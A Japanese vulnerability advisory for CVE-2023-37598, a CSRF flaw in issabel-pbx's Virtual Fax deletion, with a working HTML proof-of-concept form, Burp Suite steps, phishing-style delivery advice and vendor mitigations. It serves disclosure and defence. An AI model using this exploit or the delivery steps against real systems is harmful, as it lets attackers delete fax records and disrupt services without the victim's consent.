
issabel-pbx v4.0.0-6 の Virtual Fax 管理機能に、クロスサイトリクエストフォージェリ (CSRF) の脆弱性が存在します。
CVE ID: CVE-2023-37598
脆弱性タイプ: クロスサイト・リクエスト・フォージェリ (CSRF)
影響を受ける製品: issabel-pbx v4.0.0-6
深刻度: 中
発見者: Sahil Ojha
公開日: 10/07/2023
ベンダーホームページ: https://www.issabel.org/
ソフトウェアリポジトリ: https://github.com/IssabelFoundation/issabelPBX
検証OS: Windows
issabel-pbx v4.0.0-6 の仮想FAX管理機能には、クロスサイト・リクエスト・フォージェリ (CSRF) の脆弱性が存在します。このアプリケーションは、仮想FAXエントリの削除アクションに対して CSRF 保護(例: アンチCSRFトークン、SameSite Cookie属性)を実装していません。
これにより、リモートの認証されていない攻撃者が悪意のあるHTMLページを作成し、認証済みの管理者またはユーザーがそのページを訪れると、被害者に代わって偽造されたHTTPリクエストがアプリケーションに静かに送信されます。この偽造リクエストにより、被害者の知らないうちに、また同意なしに仮想FAXレコードが削除され、データの損失とFAXサービスの中断が発生します。
クロスサイト・リクエスト・フォージェリ (CSRF) は、ユーザーの意図なしに、被害者のブラウザに認証済みリクエストをWebアプリケーションへ送信させる攻撃です。ブラウザはすべてのリクエストにセッションCookieを自動的に含めるため、CSRFトークンがない場合、サーバーは正当なリクエストと偽造されたリクエストを区別できません。
| パラメータ | 値 |
|---|---|
| アプリケーション |
以下のHTMLファイルは、認証済みのissabel-pbxユーザーが開くと、id_fax=1 の仮想FAXを削除する偽造POSTリクエストを自動的に送信します。
ファイル: CSRF exploit.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_fax" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
注意:
{Issabel IP}をターゲットサーバーのIPアドレスまたはホスト名に置き換えてください。id_faxの値を変更することで、IDで任意の仮想FAXレコードを対象にできます。
ログインし、Issabel PBX管理パネルで仮想FAXページに移動します:
https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1

Burp Suiteプロキシを使用して削除リクエストをキャプチャします。仮想FAXエントリの削除を試行し、リクエストをインターセプトして右クリックし、Engagement Tools → Generate CSRF PoC に移動します。

生成されたCSRFエクスプロイトをHTMLファイルとして保存します(上記のPoCを参照)。
すでにIssabelアプリケーションにログインしているユーザーにエクスプロイトを配信します(例: フィッシングメールや悪意のあるリンク)。被害者がページを開いて "Submit request" をクリックすると、追加の操作なしで仮想FAXエントリが削除されます。


攻撃者は悪意のあるHTMLファイルを外部サーバーでホストするか、メールに埋め込みます。認証されたIssabel PBX管理者が同じブラウザセッションでこのページを開くと、ブラウザは有効なセッションCookieを含む偽造POSTリクエストを自動的にIssabelサーバーに送信します。サーバーはそのリクエストを正当なものとして処理し、対象の仮想FAXレコードを削除します。被害者には警告がなく、FAX一覧を手動で確認するまで削除に気づかない可能性があります。
この脆弱性を修正するために、ベンダーは以下の緩和策の1つ以上を実装する必要があります。
SameSite=Strict または SameSite=Lax に設定し、クロスオリジンリクエストでCookieが送信されるのを防ぎます。X-Requested-With: XMLHttpRequest)を要求し、サーバー側で検証します。| issabel-pbx |
| バージョン | 4.0.0-6 |
| 脆弱なURL | /index.php?menu=faxnew&action=view&id=<ID> |
| 脆弱なアクション | delete (POST パラメータ) |
| 欠落している保護 | CSRFトークン / SameSite Cookie属性 |